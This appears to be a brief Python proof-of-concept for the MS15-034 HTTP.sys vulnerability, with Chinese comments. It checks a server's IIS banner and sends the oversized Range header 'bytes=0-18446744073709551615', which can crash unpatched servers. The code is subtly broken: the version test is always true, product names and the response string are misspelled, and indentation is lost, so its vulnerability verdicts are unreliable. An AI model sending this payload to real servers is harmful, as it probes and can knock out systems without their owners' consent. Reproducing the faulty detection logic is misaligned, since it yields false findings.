MS15-034 poc

    1. import requests
    2. url = "ip"
    3. r = requests.get(url)
    4. #获取中间件
    5. mid_server = r.headers['Server']
    6. print(mid_server)
    7. #判断中间件范围
    8. if mid_server.find("IIs/7.5") or mid_server("ISS/8.5"):
    9. #开始检测
    10. payload = {'HOST':'stuff','Range': 'bytes=0-18446744073709551615'}
    11. r1 = requests.get(url,headers=payload)
    12. if str(r1.content).find('Requestd Range Not satisfiable'):
    13. print(url+ " 存在MS15-034漏洞")
    14. else:
    15. print("不存在MS15-034漏洞")
    16. else:
    17. print("不存在")